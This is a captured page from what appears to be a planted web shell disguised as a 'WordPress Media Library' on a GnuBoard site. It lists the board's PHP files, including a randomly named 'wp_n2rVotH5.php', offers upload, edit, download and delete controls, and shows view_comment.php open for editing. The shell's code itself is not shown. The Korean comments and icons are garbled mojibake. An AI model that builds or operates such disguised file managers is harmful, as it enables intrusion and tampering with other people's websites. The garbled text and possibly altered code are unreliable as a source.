โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: view_comment.php
Size: 4.85 KB | Modified: 2019-12-05 09:09:25
<?php if (!defined('_GNUBOARD_')) exit; // ๊ฐ๋ณ ํ์ด์ง ์ ๊ทผ ๋ถ๊ฐ include_once(G5_CAPTCHA_PATH.'/captcha.lib.php'); $captcha_html = ""; if ($is_guest && $board['bo_comment_level'] < 2) { $captcha_html = captcha_html('_comment'); } @include_once($board_skin_path.'/view_comment.head.skin.php'); $list = array(); $is_comment_write = false; if ($member['mb_level'] >= $board['bo_comment_level']) $is_comment_write = true; // ์ฝ๋ฉํธ ์ถ๋ ฅ //$sql = " select * from {$write_table} where wr_parent = '{$wr_id}' and wr_is_comment = 1 order by wr_comment desc, wr_comment_reply "; $sql = " select * from $write_table where wr_parent = '$wr_id' and wr_is_comment = 1 order by wr_comment, wr_comment_reply "; $result = sql_query($sql); for ($i=0; $row=sql_fetch_array($result); $i++) { $list[$i] = $row; //$list[$i]['name'] = get_sideview($row['mb_id'], cut_str($row['wr_name'], 20, ''), $row['wr_email'], $row['wr_homepage']); $tmp_name = get_text(cut_str($row['wr_name'], $config['cf_cut_name'])); // ์ค์ ๋ ์๋ฆฌ์ ๋งํผ๋ง ์ด๋ฆ ์ถ๋ ฅ if ($board['bo_use_sideview']) $list[$i]['name'] = get_sideview($row['mb_id'], $tmp_name, $row['wr_email'], $row['wr_homepage']); else $list[$i]['name'] = '<span class="'.($row['mb_id']?'member':'guest').'">'.$tmp_name.'</span>'; // ๊ณต๋ฐฑ์์ด ์ฐ์ ์ ๋ ฅํ ๋ฌธ์ ์๋ฅด๊ธฐ (way ๋ณด๋ ์ฐธ๊ณ . way.co.kr) //$list[$i]['content'] = eregi_replace("[^ \n<>]{130}", "\\0\n", $row['wr_content']); $list[$i]['content'] = $list[$i]['content1']= '๋น๋ฐ๊ธ ์ ๋๋ค.'; if (!strstr($row['wr_option'], 'secret') || $is_admin || ($write['mb_id']===$member['mb_id'] && $member['mb_id']) || ($row['mb_id']===$member['mb_id'] && $member['mb_id'])) { $list[$i]['content1'] = $row['wr_content']; $list[$i]['content'] = conv_content($row['wr_content'], 0, 'wr_content'); $list[$i]['content'] = search_font($stx, $list[$i]['content']); } else { $ss_name = 'ss_secret_comment_'.$bo_table.'_'.$list[$i]['wr_id']; if(!get_session($ss_name)) $list[$i]['content'] = '<a href="'.G5_BBS_URL.'/password.php?w=sc&bo_table='.$bo_table.'&wr_id='.$list[$i]['wr_id'].$qstr.'" class="s_cmt">๋๊ธ๋ด์ฉ ํ์ธ</a>'; else { $list[$i]['content'] = conv_content($row['wr_content'], 0, 'wr_content'); $list[$i]['content'] = search_font($stx, $list[$i]['content']); } } $list[$i]['datetime'] = substr($row['wr_datetime'],2,14); // ๊ด๋ฆฌ์๊ฐ ์๋๋ผ๋ฉด ์ค๊ฐ IP ์ฃผ์๋ฅผ ๊ฐ์ถํ ๋ณด์ฌ์ค๋๋ค. $list[$i]['ip'] = $row['wr_ip']; if (!$is_admin) $list[$i]['ip'] = preg_replace("/([0-9]+).([0-9]+).([0-9]+).([0-9]+)/", G5_IP_DISPLAY, $row['wr_ip']); $list[$i]['is_reply'] = false; $list[$i]['is_edit'] = false; $list[$i]['is_del'] = false; if ($is_comment_write || $is_admin) { $token = ''; if ($member['mb_id']) { if ($row['mb_id'] === $member['mb_id'] || $is_admin) { set_session('ss_delete_comment_'.$row['wr_id'].'_token', $token = uniqid(time())); $list[$i]['del_link'] = G5_BBS_URL.'/delete_comment.php?bo_table='.$bo_table.'&comment_id='.$row['wr_id'].'&token='.$token.'&page='.$page.$qstr; $list[$i]['is_edit'] = true; $list[$i]['is_del'] = true; } } else { if (!$row['mb_id']) { $list[$i]['del_link'] = G5_BBS_URL.'/password.php?w=x&bo_table='.$bo_table.'&comment_id='.$row['wr_id'].'&page='.$page.$qstr; $list[$i]['is_del'] = true; } } if (strlen($row['wr_comment_reply']) < 5) $list[$i]['is_reply'] = true; } // 05.05.22 // ๋ต๋ณ์๋ ์ฝ๋ฉํธ๋ ์์ , ์ญ์ ๋ถ๊ฐ if ($i > 0 && !$is_admin) { if ($row['wr_comment_reply']) { $tmp_comment_reply = substr($row['wr_comment_reply'], 0, strlen($row['wr_comment_reply']) - 1); if ($tmp_comment_reply == $list[$i-1]['wr_comment_reply']) { $list[$i-1]['is_edit'] = false; $list[$i-1]['is_del'] = false; } } } } // ์ฝ๋ฉํธ์ ์ ํ ์ค์ ๊ฐ if ($is_admin) { $comment_min = $comment_max = 0; } else { $comment_min = (int)$board['bo_comment_min']; $comment_max = (int)$board['bo_comment_max']; } $comment_action_url = https_url(G5_BBS_DIR)."/write_comment_update.php"; $comment_common_url = short_url_clean(G5_BBS_URL.'/board.php?'.clean_query_string($_SERVER['QUERY_STRING'])); include_once($board_skin_path.'/view_comment.skin.php'); if (!$member['mb_id']) // ๋นํ์์ผ ๊ฒฝ์ฐ์๋ง echo '<script src="'.G5_JS_URL.'/md5.js"></script>'."\n"; @include_once($board_skin_path.'/view_comment.tail.skin.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete